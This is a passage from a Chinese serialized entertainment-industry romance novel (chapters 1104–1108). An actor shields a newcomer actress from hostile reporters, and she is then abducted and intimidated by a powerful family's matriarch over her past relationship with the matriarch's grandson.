温栩栩轻轻笑了笑,记者的镜头对准了温栩栩。 她身上穿着的是一件素雅的白裙,上面甚至没有过多的繁琐花纹,就是一件再普通不过的白裙,可她穿在身上就是会让人觉得灵动完美。 弹幕里面不止有墨澜的粉丝,还有很多吃瓜路人,此刻都被她这笑容惊了一瞬。 有一瞬间明白了秦扬帆对温栩栩的评价,明白了秦扬帆为什么会那么坚持不肯换掉温栩栩。 这张脸真的是在全网无代餐,换掉温栩栩,谁还能出演这样的角色?当然是有这种女星,但她们已经不是这样二八芳华,只有她,你能感受到她是年轻的漂亮的,可身上还带着那些经历过世事的沧桑感觉。 换掉温栩栩,就很难再找到更适合唐颖的女演员了。 所以秦扬帆才说宁愿换掉成唯也不肯换掉温栩栩。 她不是因为温栩栩背后有什么资本,纯粹是因为温栩栩适合这个角色。 她是很漂亮,但不代表这些记者就对她没有恶意。 有人存着心思开口:“温老师对换角这件事怎么看?温老师认为是成唯老师的演技更好还是墨澜老师的演技更好?温老师更想跟谁合作呢?温老师被成唯老师的粉丝攻击会生气吗?我看温老师好像很在乎被骂这件事,看着很憔悴呢。” 向墨澜提问的时候还很有礼貌,那是因为知道墨澜的性子,真惹他不高兴了,墨澜嘴巴里什么话都能说出来,没看到刚才就嘲讽侮辱了成唯一番? 但温栩栩? 一个刚入圈的小新人,敢跟记者正面刚吗? 墨澜眸光都跟着变冷几分,在这圈子这么久了,怎么可能不明白记者这些问题里面带着尖锐的恶意。 “你是哪家媒体,这些问题为什么不问我?是不敢吗?你的话筒指向她就是因为她只是个刚冒头的小艺人吗?” 墨澜冷笑:“这些问题我同样可以回答你,我对换角这件事只觉得痛快,演技不好的流量咖就是要被换掉,问我们演技到底谁更好,不如你们先问问成唯什么时候能拿到视帝再来提这些,至于温栩栩更想跟谁合作,你们会想跟一个操控自己粉丝对自己无情谩骂的人合作?问她被攻击会不会生气,换做是你被一群人无脑攻击你会不会生气?你如果不生气我现在就能给你嗑一个。” “另外,她憔悴不是因为成唯,而是因为拍了一天的戏还要被你们这些记者围追堵截,从剧组堵到酒店才会身心俱疲,这些回答你们满意吗!” 墨澜是真的有些怒了。 他其实不是什么圣母盛父类别的人,只是既然真的碰到了这种事那不出手倒显得他整个人有些孬种。 而且这些记者不知道多少人收了成唯的钱故意找茬的。 就因为秦导不肯让温栩栩离开剧组,所以将全部的恶意都指向温栩栩,几乎是要彻底摧毁温栩栩,他觉得恶心。 这些问题温栩栩能怎么回应?不论怎么回应都一定会被骂。 记者也没料到墨澜会为温栩栩出头,唇瓣都有些哆嗦,好半晌才开口:“你……墨澜老师你对温栩栩……你们之间……” 虽然颤颤巍巍的,但这话也实在是引人遐想。 “我说,真的够了。”墨澜站起身脸上的冷意愈发深了:“我才说过,不要看到一男一女就要想到两性关系上,这句话你们左耳朵进右耳朵出是吗。” 墨澜最近脾气已经很好了,真的很少动怒了。 可现在这群记者的话一字一句的戳到他底线了。 “我想你们也问不出什么有营养的问题了。” 墨澜未停,他转身揽住温栩栩的肩,力道温柔如安抚受惊的幼兽,眼底却仍燃着未熄的火:“温老师,走。” 电梯门开的刹那,他带温栩栩离开,身后镁光与追问声渐弱,却仿佛在他耳畔烙下更深的灼痕。 他厌恶的不仅是这群记者,更是娱乐圈将人性碾成流量的巨轮。 那些被曲解的真相、被消费的苦难、被践踏的尊严都让他觉得……可悲。 电梯闭合的瞬间,他瞥见温栩栩眼底的惊愕与钦佩,忽而自嘲一笑:“吓到你了?抱歉,平日装得太久,偶尔……忍不住撕破脸。” 温栩栩摇头,长发仍散乱,却还是笑了下:“墨老师……方才的话,会得罪很多人。”墨澜却轻笑,松木香再度漫近,却裹着硝烟的气息:“得罪?我在这圈子里什么都不说也会得罪很多人,所以说还是不说其实差别不大。” 第1104章 他可以做的事,你不可以做 墨澜其实自己也清楚,在娱乐圈这个漩涡里,他的一举一动都像被放大镜检视的标本。 无论他选择沉默或发声,热搜榜单总会为他预留一席之地。 今晚这场直播风暴,从他按下开播键的那一刻起,便注定会成为媒体与公众的狂欢盛宴。 但看着记者们如毒舌般对准温栩栩释放恶意,他若袖手旁观,明日头条必将充斥着“渣男漠视女搭档”的腥红标题——作为一个男人,他做不到。 他出面开口,一半是为温栩栩无辜蒙冤的处境,另一半也是为自己那颗不愿被舆论裹挟的心。 横竖都是被骂,不如随心站出来,至少能让那些咬人的狗暂时闭上嘴。 电梯门闭合的瞬间,他侧身让温栩栩先进。 他们订的酒店楼层在同一层,电梯厢内灯光柔和,将两人的影子在镜面墙上拉成交错的线条。 墨澜的直播仍在继续,但信号在金属墙壁间跳跃,画面偶尔卡顿,却反而让粉丝的留言更汹涌。 他们看不见偶像此刻的表情,只能从飘动的弹幕中想象。 【信号卡了!但哥哥的帅气不卡!】 墨澜瞥了眼手机,轻笑出声,声线透过电流杂音更显慵懒:“看来这电梯和网络八字不合,不过你们夸我的速度倒是没受影响。” 温栩栩垂眸站在角落,她其实能感受到墨澜刻意与她保持半步距离,既避免触碰绯闻红线,又用周身气场筑起无形的屏障。 直播间的粉丝们却早已将这份克制解读成“绅士的温柔”。 【澜哥这分寸感绝了!】 墨澜忽然抬头,目光穿过镜头与万千粉丝对视,笑意从眼底漾到唇角:“夸我分寸感,那确实……我确实很有分寸感。” 温栩栩唇角微颤,终是轻声开口:“谢谢。” 墨澜挑眉,突然俏皮眨眼:“谢什么?谢我替你挡记者?还是谢我今晚直播没关?” 他故意将话题转向轻松,指尖在手机屏幕上滑动,念出几条弹幕:“知道她们说你什么吗,她们说温老师被保护的样子像小兔子!” 温栩栩被这比喻逗笑,颊边梨涡浅现,墨澜立刻接话:“瞧见没?粉丝们可比记者有眼光,至少他们知道什么是真正的可爱。” 电梯内的气氛悄然融化,仿佛连空调的冷气都被粉丝的热情蒸腾。 信号突然恢复,画面清晰的那一刻,弹幕如星河倾泻:【终于连上了!哥哥和温老师同框杀我!】 墨澜索性将手机转向温栩栩,让她看满屏的支持:【拒绝恶意解读,两位都是宝藏!】温栩栩指尖发颤,却最终在弹幕输入框打下:“谢谢大家的信任,我们会用作品证明自己。” 这句话如巨石入湖,激起粉丝更狂热的回应。 墨澜轻笑,突然对着镜头正经鞠躬:“替温小姐谢谢各位,也替我自己——毕竟今晚若不说话,明天热搜可能就是‘墨澜冷血无视搭档’了。” 他调侃自嘲的模样,让弹幕瞬间被“哈哈哈”淹没。 【哥哥太清醒了!】 【娱乐圈需要你这种人间清醒!】 电梯“叮”的一声抵达楼层,墨澜先一步按住开门键,示意温栩栩先行。 粉丝们却仍不舍关闭直播间,荧光色的弹幕如不舍的萤火还在不停发送。 【哥哥晚安!】 【温温晚安!】 墨澜忽然抬头,嘴角笑意狡黠:“知道你们不想走,但熬夜对皮肤不好——明天见,记得继续夸我。” 他最后那句“夸我”带着少年般的俏皮,让温栩栩忍俊不禁,连电梯外的走廊灯光都仿佛被染成了暖色。 直播关闭的瞬间,屏幕上的荧光熄灭,墨澜身上那股刻意营造的松快气息如潮水般退去。 他方才在镜头前的从容谈笑不过是精心编织的网,只为让粉丝安心,他们总担心他动怒,担心他再陷全网黑的泥潭。 此刻,电梯间仅剩两人的呼吸声,他转身看向温栩栩,目光沉静如深潭,却透着刺骨的冷。 “温老师,你才刚入圈就得罪了成唯这种小人,如果这部剧没能爆,他会彻底缠上你。不论你出席任何活动,他的粉丝都会如毒蛇般吐信,嘲讽攻击会成为你的日常。”他指尖无意识摩挲着手机边缘,唇角却带上了点轻缓的笑。 温栩栩怔在原地,高跟鞋在镜面地砖上投下的影子微微晃动。 她原以为成唯的敌意不过是寻常的同行竞争,此刻墨澜的话却如冰锥刺入心脏。她试图组织语言,喉咙却像被砂纸磨砺般艰涩:“我……其实不太清楚他为什么对我敌意这么大。” 墨澜轻笑,那笑声却无半分温度。“很难理解吗?因为卑鄙无耻是刻在他骨子里的本能。” 他语调平缓,字字如钉,“他的上位路其实就是踩着旁人的尸骨,同批出道的男艺人,全部都被他明里暗里踩过。我曾被全网黑的阶段,成唯的工作室参与带节奏围剿,那些标题如毒箭般射向我时,他躲在幕后笑得像胜利的鬣狗。” 他忽而逼近半步,气息喷在温栩栩耳畔,声音低得仿佛耳语:“成唯想做到最红最顶端,但资质平庸如朽木,所以他会毁掉那些比他优秀的演员艺人。对你——” 他骤然停顿,目光灼灼,“他会认为作为前辈,你是不配跟他对戏的。如果你是圈内的女流量,他会像吸血蝙蝠般黏上来炒CP,吸干对方的血,但你——”他嗤笑,“你是小艺人,咖位不够,他会认为导演想让你踩他上位。所以他才会像疯狗般激动,因为在他扭曲的逻辑里,他可以做的事,你不可以做。” “哪怕你没有吸血的打算,但他本质上是这类人,所以会认为你也是。”墨澜最后那句如锤定音,将成唯的卑劣彻底钉在耻辱柱上。 温栩栩后退半步,脊背撞上冰冷的电梯壁,掌心沁出冷汗。 她终于明白,成唯的疯狂不是针对她个人,而是对所有“可能威胁”的本能绞杀,他是将娱乐圈视为角斗场的野兽,而她不过是误入的新猎物。 第1105章 黎家 “我曾见过他被资本抛弃时的模样。”墨澜突然转身,望向电梯镜面中自己模糊的倒影,眼底泛起自嘲的涟漪,“他跪在制片人面前求角色,像条摇尾的狗,转头却将那个角色的试镜名单泄露给媒体,陷害竞争者吸食禁品,手段肮脏到连我都恶心。最后那位竞争者被调查被全网黑,哪怕后来澄清了但也因此丢了角色,至今还有人用这谣言来嘲讽对方犯法。” 他轻笑,笑意却冷得彻骨,“这样的人,只会一直逼着你,直到你倒下。” “温老师,如果你在圈内真的有资本捧你,那你大可不用担心,但……我希望你清楚,要远离这样的小人,有时候你的资本可能也防不住这样无赖的小人。” 电梯“叮”的一声打开,走廊灯光涌入,墨澜却仍停在原地,指尖点在温栩栩肩头,力道轻如羽毛:“记住,在娱乐圈,被恶犬吠咬的人,往往都是走在最前面的。” 他眼底的冷意褪去,取而代之的是某种近乎温柔的期待,仿佛已预见她将踏上的荆棘之路。 温栩栩点头,睫毛颤动如蝶翼。 她忽然懂了,墨澜的警告不是恐吓,而是将战场的地图摊开在她面前。 他剖开成唯的脓疮,不是为了让她恐惧,而是让她看清敌人的獠牙,学会在血与火中淬炼自己的锋芒。 “谢谢墨澜老师提醒我这些。”温栩栩勉强扯出笑容,眼底却仍残留着记者围攻时的惶然。 她真心感激墨澜的坦诚,那些娱乐圈的阴诡手段,若无人点破,新人如她恐怕会在深渊边缘反复跌撞。 墨澜眼底的笑意依旧轻缓,仿佛一潭深水面上浮着的薄冰,温柔中藏着刺骨的冷:“今天这么多记者,明天只会更多,温老师要小心了。”他刻意停顿,尾音染上警告的意味,“到底是不是真的记者,谁也不清楚,说不定里面就有人浑水摸鱼呢。” 两人在走廊分道,墨澜的背影消失在转角时,温栩栩指尖仍发颤。 她攥紧房卡插入锁孔,尚未等灯光亮起,身后陡然袭来一股寒意。 有人从阴影中暴起,手掌如铁钳捂住她的嘴,将她狠狠抵在墙面上! 温栩栩惊愕欲反抗,膝盖却被对方膝盖顶住,动弹不得。那人力道大得惊人,仿佛要将她骨骼碾碎。 灯“啪”地亮起,刺目光芒下,房间内赫然站着三名黑衣男人。 他们身着统一制服,领口绣着暗纹,袖口露出精钢腕表,为首者眼神如刃,扫过温栩栩惊恐的脸:“温小姐,黎老夫人有请。” “黎老夫人……”温栩栩喉头哽住,冷汗顺着脊背滑下。 黎云笙的奶奶,黎家真正的掌权者。 那位传闻中手段凌厉、将家族生意攥入铁腕的老夫人,竟会突然召见她? 是因为她知道那些事了吗? 那些与黎云笙纠缠不清的传闻、私下的纠葛…… 温栩栩的心被恐惧绞紧,仿佛坠入无底冰窟。 明明已经跟黎云笙断了关系,为什么还是会被盯上? “为什么?”她颤声质问,试图挣扎。 保镖却冷笑,拇指擦过她下颌,力道粗鲁得像对待货物:“温小姐无需多问,老夫人要见的人,从无‘拒绝’二字。”另一人上前钳住她双臂,西装下肌肉如钢筋绷紧,温栩栩的反抗如蚍蜉撼树。 他们的眼神毫无温度,像是被训练至麻木的杀人机器,瞳孔深处却藏着嗜血的兴奋。 猎物越是挣扎,他们便越亢奋。 她被押出房间时,瞥见走廊尽头墨澜虚掩的房门。 那扇门仿佛一道隔绝生死的屏障,她多想呼喊,但保镖的手已掐住她脖颈,警告的力道让呼吸近乎窒息。 温栩栩被迫沉默,电梯下降时,镜面映出她凌乱的发丝与惨白的脸,保镖们却如雕塑般静立,唯有眼底的冷意随着楼层递减愈发浓稠,仿佛要将人冻成冰雕。 他们对待温栩栩的方式,仿佛她根本不是有血有肉的人,而是一件可以随意召之即来的物品。 保镖的手如铁索般箍住她的手腕,将她拖出酒店走廊时,她的高跟鞋在地毯上刮出刺耳的摩擦声。 进入电梯后,三人将她夹在中间,其中一人始终用膝盖抵住她后腰,力道重得几乎要压碎脊椎。 即便她剧烈挣扎,试图用脚踢踹或头撞对方,换来的却是更狠的压制,一人掐住她下颌迫使她仰头,另一人将黑布粗暴塞入她口中,布上残留的消毒水气味呛得她几乎窒息。 她的眼泪在屈辱与恐惧中无声淌下,却无人怜悯。 他们像是完全没有感情的机器,只听从主人的命令。 直到被甩进车内,温栩栩的嘴仍被胶带死死封住。 保镖们将她按在后座,膝盖顶住她双腿,仿佛押送囚犯。 车窗外景色飞速倒退,她透过泪眼模糊看见路灯如血色瞳孔逐个掠过,车内空调冷气开至刺骨,却不及保镖们眼神的寒意。 他们全程沉默,连呼吸都整齐得像训练有素的机器,唯有偶尔交换的视线中掠过一丝讥诮,仿佛在看一只徒劳扑腾的蝼蚁。 车子一路疾驰,最终停在黎家老宅前。 铁艺大门高逾十米,青铜雕花门环上盘踞着鎏金祥龙,门柱两侧石狮威严如狱卒。 保镖拽她下车时,温栩栩踉跄险些跌倒,却无人扶助。 她被迫仰头望去,只见宅邸主体仿若一座中世纪城堡,灰白大理石外墙爬满岁月苔藓,顶端尖顶刺破夜空,似要吞噬星辰。 宅前广场铺着汉白玉地砖,每块皆刻有黎家族徽,月光下泛着冷冽光泽,仿佛无数监视的眼睛。 踏入正门,玄关处十二盏水晶吊灯如银河倾泻,将整座大厅照得纤毫毕现。 鎏金雕花屏风后,波斯地毯自脚下绵延至无尽深处,可对温栩栩来说,踩上去的触感却如踏在刀刃上,黎家的富贵对她来说却是淬着血的锋芒。 两侧廊柱嵌着翡翠玉石,壁龛内陈列着明代青花瓷与外国皇室赠予的鎏银器皿,每一件都价值连城,却无人驻足欣赏。 第1106章 聪明人该知道何时进退 仆人们如影子般穿梭,低垂着头,连呼吸都刻意压抑,仿佛这座宅邸容不下丝毫杂音。 穿过七重回廊,温栩栩被押至正厅。 此处空间宽阔如宫殿,穹顶壁画描绘着黎家百年兴衰史。 正中央悬着一座青铜香炉,檀香袅袅升腾,气味却令人窒息。 保镖们将她“扔”在厅中央,退至两侧如门神,而黎老夫人仍未现身。 温栩栩跪坐在冰凉地砖上,冷汗与屈辱的泪交织,仰头望着那幅俯瞰众生的壁画,第一次真切感受到在黎家权势面前,她不过是蝼蚁,连尘埃都算不上。 温栩栩突然恨自己为何要与黎云笙那般亲密。 若没有这段纠葛,她怎会沦为任人摆布的玩偶,在深夜被如囚犯般押至这阴森的老宅? 屈辱如毒藤缠绕心脏,她跪在冰冷地砖上,每一秒等待都似被凌迟。 她不知时间如何流逝,只觉呼吸越来越窒,仿佛这座宅邸的砖瓦都在无声吞噬她的尊严。 终于,脚步声自长廊尽头传来。 她抬头望去,对上一张苍老却保养得宜的面容。 黎老太太。 她满头银发梳得一丝不苟,皱纹如岁月刻下的沟壑,却因昂贵的护肤品显得柔和。 唇角挂着慈和笑意,眼角的褶皱随笑容加深,但若仔细观察,会发现那双眼睛浑浊如蒙雾的玻璃,瞳孔深处却藏着毒蛇般的锐利。她手中捻着一串檀木佛珠,每颗珠子都沁着经年的油脂光泽,仿佛那是她掌权的权杖。 “你就是阿笙喜欢的女孩子?”老太太缓缓落座于雕花沙发,丝绸旗袍上的牡丹刺绣随着动作起伏,似活物般张牙舞爪。 她并未示意温栩栩起身,只是斜倚着扶手,目光仿佛在此刻将她从头至脚穿透。 佣人躬身奉上茶盏,青花瓷杯沿映着老太太的笑纹,那笑却让温栩栩脊背发寒,她分明看见那笑意背后蛰伏的獠牙。 温栩栩的心跳如擂鼓,喉头哽住半晌才挤出颤抖的回答:“我不是……只是黎少一时兴起,他已经玩腻了。” 她拼命压低声音,试图显得冷静,却难掩尾音的颤栗。 指甲掐入掌心,疼痛让她保持清醒,这位老太太绝非良善之辈。 如果这位老太太真的是什么良善之辈,就不会让保镖在半夜把她绑过来,如果真的有心也不会让那些保镖那般待她,这分明就是下马威。 更不要说她现在都是被绑着跪在地上。 老太太摆明了就是让她知道她是什么身份什么地位,配不上黎家的门楣。 “能让阿笙一时兴起的人可不多,你倒算是头一个了。”黎老太太的笑声似浸了蜜,却渗人如毒蛇吐信。 她慢悠悠转动佛珠,每一声轻响都似对温栩栩命运的判决,“阿笙这孩子,打小就聪明,但也任性。他没玩过女人,且能让我亲自见面的——”她忽而停顿,笑意骤然冷冽,“你是第一个。” 温栩栩冷汗浸透后背。她终于看清老太太的意图。 这并非寻常会面,就是下马威。 若她是良善之辈,怎会纵容保镖将她如牲口般捆缚至此?怎会让她跪在厅中如受审囚徒?老太太的“和蔼”不过是涂着金粉的毒药,每一句笑语都在宣告。 你配不上黎家的门楣,连蝼蚁都不如。 老太太端起茶盏,抿了一口,动作优雅如宫廷贵妇。 热气袅袅模糊了她的面容,温栩栩却愈发看清她眼底的浑浊,那是不见底的深渊,吞噬了无数如她般的“玩物”。 她突然想起前人的警告,黎家是吃人的家族。此刻,她终于真切感受到那寒意刺骨的现实。 “温小姐,我黎家的门槛,不是谁都踏得起的。” 老太太忽而正色,佛珠“啪”地扣在案几上,震得温栩栩一震。 她直视温栩栩的双眼,浑浊中迸出刀锋般的犀利,“阿笙可以玩,但黎家的媳妇,必须门当户对,懂吗?”她的语气温和,却如铁锤砸在温栩栩耳膜。 温栩栩的呼吸几乎停滞。 老太太今夜召她并非质问绯闻,而是提前扼杀任何可能的妄想。 她如坠冰窖,却强撑尊严摇头:“老太太,我从未想过攀附黎家,与黎少的往来……也不过是逢场作戏。”她试图让声音坚定,但膝盖的疼痛与屈辱却让她眼眶泛红。 老太太轻笑,笑意却未达眼底。 “逢场作戏?可阿笙这孩子,最讨厌别人骗他。”她忽而倾身,浑浊的眼睛逼近温栩栩,气息喷在她脸上,“若让我发现你存了别的心思——”她未说完,但尾音的威胁如蛇信舔过肌肤。 温栩栩的心彻底坠入深渊。 她终于看清,这位老太太是掌控黎家生死的蜘蛛,而她不过是蛛网中的飞蛾。她想起被保镖粗暴塞入黑布时的窒息,想起跪在地砖上的屈辱,想起老太太虚伪的笑…… 这一切,都是黎家对她的审判,就是告诉温栩栩,你不过是个玩物,连反抗的资格都没有。 “老太太,我保证绝不会有非分之想。”温栩栩低头,发丝垂落遮住泪痕。 她做出一副楚楚可怜的模样,实际上她自己也清楚自己几斤几两,如果真的硬刚,这种身份的人只会让她无法活着离开黎家。 她会被彻底毁掉。 她一个无父无母的孤儿,死在哪里怕是都没有人追究的,说不定还会被眼前的这位老太太泼一盆脏水,就是死都要不干不净的死。 她必须活下去,必须逃离这吃人的牢笼。 但老太太的下一句话却让她浑身僵冷:“温小姐,聪明人该知道何时进退。阿笙若腻了,你最好自己消失,否则——”她轻笑,“娱乐圈的阴沟里,可是能埋不少‘意外’。” 温栩栩的瞳孔骤缩。 她刚才内心的想法,竟是完全被眼前的老太太挖出来说出来。 她毫不避讳的针对温栩栩。 老太太的威胁赤裸如刀刃,她终于明白墨澜所言“踩着尸骨上位”的含义。 黎家不仅扼杀感情,连人命都能如蝼蚁般碾碎。 第1107章 烫的是不识相的人 她颤抖着点头,指甲深深掐入掌心,在疼痛中维持表面的顺从。 老太太满意地笑了,佛珠再次转动。 “你是个聪明孩子,该知道怎么做。”她终于抬手,示意佣人,“扶温小姐起来吧,地上凉。” 温栩栩当然知道自己配不上,所以打从一开始就没做过跟黎云笙在一起的梦。 可没想到还是晚了,就这样都会被黎家盯上,温栩栩内心都是彻骨的寒意。 温栩栩被佣人搀起时,双腿早已麻木。 她踉跄站稳,却不敢抬头直视老太太。 那和蔼的面容与毒蛇般的眼神在她脑中交织,成为无法摆脱的梦魇。 黎老太太面色平静地指了指一旁沙发,“坐。”语气轻淡如吩咐蝼蚁。 温栩栩浑身绷紧,却不敢违抗。 她知道,在这座老宅里,老太太的“请坐”不过是另一场审讯的序幕。 她挪步至沙发边缘,只敢坐下半边臀部,仿佛随时准备起身逃离。 老太太瞥向佣人,佣人立刻将一杯滚烫的大红袍置于她面前的茶几上。 杯沿溢出的热气熏得温栩栩睫毛颤动,茶水满至杯口,一滴溢出便能在瓷面留下蜿蜒痕迹。 茶满欺人。 温栩栩在茶楼打工过的,怎会不懂这道理? 可黎老太太出身名门,怎会不知? 她分明在用这杯茶羞辱她,你不过是个连喝茶资格都没有的贱胚。 茶杯是明代青花瓷,釉色泛着幽蓝光华,杯底刻着暗纹,价值连城。 温栩栩指尖触到杯壁时,灼烫的温度几乎让她缩手,若端起,茶水必溢,烫伤掌心,若入口,灼舌毁喉,却无人会在意她的疼痛。 “温小姐,请吧,这是一辆千金的大红袍,味道还勉强可以接受。”老太太笑意温和,却如刀锋裹蜜。 温栩栩扯了扯唇角,苦笑中藏着锋芒:“老夫人,茶水有些烫了。” 她声音轻颤,却刻意控制节奏,不让恐惧完全显露。老太太转动佛珠的手一顿,浑浊的瞳孔眯起,似在审视猎物最后的挣扎。 “你敢踏入黎家的门楣,就该知道这里的茶水就是要这样烫着入口的。” 老太太忽而冷笑,佛珠“咔”地卡在指尖,“或者说,你只能这样入口。你吃什么、喝什么、说什么、做什么,都是没得选的。你要明白你的身份,你不配做选择。” 温栩栩的心沉入冰窟。老太太的每句话都像淬毒的钢针,刺向她自尊的每一寸。 滚烫的茶水在杯中摇晃,倒影着她苍白的脸。 她知道,这杯茶是老太太对她的审判,要么屈辱吞下,承认自己连蝼蚁都不如;要么拒绝,成为黎家碾碎的尘埃。 她深吸一口气,指甲掐入掌心,疼痛让她清醒。 “我没想来黎家,是老夫人请我来的。”温栩栩的声音突然镇定下来,,“这杯茶太烫太贵,茶杯的价格是卖了我也赔不起的。我怕失手打碎,所以这茶——我喝不得。” 她抬头直视老太太,眼底泛起倔强,“我明白老夫人的意思,您担心我缠着黎少,所以要压一压我的气焰。可我没想过嫁进黎家,更没想过拿黎家的好处,您大可以放心。不必用这茶水来试探我。” 老太太的笑意僵在脸上,皱纹骤然深刻如刀痕。 佛珠被捏得咯咯作响,她没想到这个贱丫头竟敢回嘴。 温栩栩继续平静道:“我人怂,没胆子追求不属于自己的泼天富贵。所以还请老夫人放我离开。” 她躬身作礼,姿态谦卑,话语却如暗箭,您若真容不下我,便放我走,两不相欠。 屋内气压骤降,佣人垂首屏息,连呼吸都不敢出声。 老太太忽而爆发出笑声:“好个伶牙俐齿的丫头!你倒是敢跟我讲条件。”她指尖叩击沙发扶手,红木发出闷响,“可你忘了——你如今在我手里,是生是死,是烫嘴还是毁容,都由我说了算。” 温栩栩的背脊沁出冷汗,却硬挺着不退缩。 她清楚,此刻示弱便是万劫不复。 老太太忽而倾身,浑浊的眼睛逼近她:“你以为阿笙会护着你?上流圈层玩过的女人,哪个不是被碾碎了骨头扔出去?你不过是个卑贱的货色,也配谈条件?” 她的气息喷在温栩栩脸上,带着腐朽与权欲的味道。 温栩栩的心如坠深渊,却咬紧牙关不露惧色:“黎少如何待我,与老夫人无关。但今日您请我来,若只为羞辱,那恕我直言,这杯茶,我宁可烫死,也不会喝。” 她将茶杯推向茶几边缘,瓷与木相撞发出脆响,茶水溅出几滴,在昂贵的地毯上留下暗痕。 老太太面色骤变,杀意在眼底翻涌。 佛珠被猛地摔在案上,珠子滚落两颗,她却浑然不顾:“你敢这么对我说话?” 温栩栩摇头,声音冷如冰:“不敢。但杯茶,我喝不得,也喝不起。” 空气凝滞如死。 老太太盯着她,似要撕开她伪装的镇定。 良久,她忽而大笑,笑声震得吊灯摇曳:“有意思,真有意思!阿笙倒是找了个硬骨头。” 她挥手让佣人撤走茶杯,瓷杯离桌时,温栩栩的掌心已掐出血痕,“今日且放过你,但你记住,黎家的茶水,烫的是不识相的人。若你哪天学会咽下这烫茶,或许还能活久些。” 温栩栩躬身退出时,双腿虚软如绵。 直到被“送”出老宅,夜风灌入衣领,她才发觉冷汗已浸透全身。 她逃出老宅的那一刻,夜风灌入喉中,却冷不过黎家那一杯烫茶。 她现在终于算是庆幸自己做出了一个还算理智的选择,没有选择跟黎云笙继续纠缠,一旦跟黎云笙继续纠缠,她是一定会被黎老夫人暗中解决掉的。 对她们这种出身高贵的人来说,她就是泥坑里面虫子一样的存在。 谁会允许自己家族的继承人跟一只虫子在一起。 她心里清楚,暧昧暧昧,被黎云笙玩一玩便是这老夫人的极限,若是真的坏了黎云笙的名声,她只会被整治的更惨。 第1108章 就是贫民窟的麻雀 温栩栩从前接近韩城就是为了靠近黎云笙。 那时候只听人提起帝城最上乘的几大家族谁的身份最尊贵,她想着,既然我要往上爬,那我一定要找一个最厉害的人物,不论用什么手段,只要能留在对方身边,得到一点庇护都是好的。 她那时候盯上的就是黎云笙,但没想过自己和黎家有这么大的差距。 衣食住行,方方面面,都告诉她,她是最底层的泥泞中开出来一朵毫无价值的花朵,她甚至可能没有能力去为自己的人生做出什么选择。 而他从出生开始就高人一等,俯瞰众人,他可以轻轻松松将她从泥潭中拔出为她找一个昂贵的花瓶为她安家,也同样可以抬脚将他碾碎,汁叶分离。 她最初幼稚可笑到自己勾到黎云笙就是成功,可真正接触才知道接近他,得到他手里的资源就已经得罪了他身后的黎家。 他们会审视她打量她观察她,看她一个从贫民窟爬上来的小丑猴子有什么丑恶的心思想法。 明明她还什么都没有做,那些罪行就已经全部都砸到她的身上,避无可避。 她想,只是当一个普通的人,为什么就这么难。 温栩栩跪坐在地上,大理石地面的凉意从掌心渗入骨髓,喉口涌起的呕意几乎冲破喉咙。 她蜷缩着身子,仿佛这样就能缩进地缝,逃离这如影随形的窒息感。 脑海中不断浮现黎家老夫人那鹰隼般的目光。 那双眼睛仿佛能穿透皮肉,直剖心脏,每一次对视都如被凌迟的酷刑。 老夫人从不说话,却用枯槁的手指在佛珠上捻动,每一颗珠子的转动都似在称量她的灵魂,轻飘飘一句“黎家的门不好进”便将她钉在耻辱柱上。 她想起踏入黎家老宅时的情景。雕花檀木门后是望不见尽头的长廊,金丝楠木的家具泛着冷光,每一幅古画都像是窥视的眼睛。佣人们低眉垂眼的姿态如精密齿轮,连呼吸都刻意压低,仿佛生怕惊扰了这座百年宅邸沉淀的威压。 而老夫人坐在主位,茶盏轻搁的声响比任何训斥更令她胆颤。她所做的一切都在那一刻显得滑稽可笑,衣角沾上的泥点被无数双眼睛放大,成为她永远洗刷不掉的污痕。 “最底层的泥泞中开出的花……”温栩栩喃喃重复着这个比喻,指甲深深掐进掌心。 是的,最底层开出的花,不就是她吗? 漂亮又如何?生命却是随时掌控在另一群人手中。 她曾以为自己是淤泥中倔强的生命,攀上黎云笙这棵参天巨木便能开出耀眼的花朵。可黎家却告诉她,她的根永远浸在腐臭里,哪怕被移栽进昂贵的花瓶,本质仍是毫无价值的杂草。 对未来的惶恐如一把悬在头顶的钝刀,随时可能劈开她脆弱的生存。 温栩栩深知,自己在黎家的存在本就是一场赌博,赌黎云笙的庇佑能持续多久,赌老夫人何时会厌倦这场“教养野花”的游戏。她曾以为接近权贵便能获得资源与庇护,却未料到,那些唾手可得的“恩赐”不过是悬在脖颈的绳索,随时可能被勒紧。 和黎家完全不同衣食住行,都在提醒她的卑微。 那些打量她的目光如显微镜,将她每一个毛孔的贪婪与自卑放大成罪证,仿佛她呼吸的空气都带着原罪的污浊。 更令人窒息的是,她尚未有所行动,罪名却已如山压来。 贫民窟的麻雀,就算披上孔雀羽毛,骨子里还是垃圾。 而她就是贫民窟的麻雀。 她后悔了,她以为攀上黎云笙便是攀上了云梯。 可如今才明白,那不过是跌入更深的深渊。她曾幼稚地以为勾引黎云笙是她的胜利,却不知这场“成功”的代价是将自己剥皮拆骨,置于众目睽睽的解剖台上。 接近他后,她才发现黎家的权势如铁壁,将她与过去彻底割裂。若当初不曾试图攀附这棵巨木,或许她仍能在泥潭中苟活,至少保有选择的权利。 而现在,她连后悔都成了奢侈。黎家的门一旦踏入,便再无退路。 她想起老夫人某次在佛堂的警告:“黎家的水,不是谁都搅得起的。”那枯槁的手掌抚过她脸颊的触感,至今让她浑身发寒。 温栩栩终于明白,她不过是黎家豢养的玩物,一个随时可被碾碎的警示牌,警告所有妄图攀附的蝼蚁。 喉口的呕意终于冲出,酸涩的胆汁灼烫喉咙,却浇不灭心中的苦涩。 泪水滴落在地,她忽然觉得自己才是那个最大的笑话,一个妄图用卑劣手段跨越阶级的丑恶猴子,在黎家的镜厅里被照出原形,连挣扎都显得滑稽。 她甚至在此刻开始质疑自己的人生是否有任何意义。 接近黎云笙的每一步都如走在悬崖边缘,如今她既无法退回泥潭,又无力攀上云端。 黎家的审视将她钉在中间,成为不上不下的悬空傀儡。 她甚至不敢想象,若黎云笙某日厌倦了她,她是否会被抛回贫民窟,成为家族茶余饭后的谈资,或是被其他权贵当作“黎家弃子”肆意践踏。 温栩栩握紧拳头,指甲深深掐进掌心,仿佛要将所有悔恨与痛苦都抠出体外。 她踉跄着从地上站起,踉跄的脚步如风中残烛,随时可能被吹灭。 低头时,手背上的烫伤灼痛如毒蛇啃噬,那片红肿的皮肤泛着诡异的亮色,像是被烙铁烫出的狰狞印记。 “不该的……”她喉间挤出沙哑的叹息,泪水在眼眶里打转却始终不肯落下。 不该为了一己私欲攀附权贵,不该将希望寄托在黎云笙身上,不该天真地以为“靠近”便能改变命运。 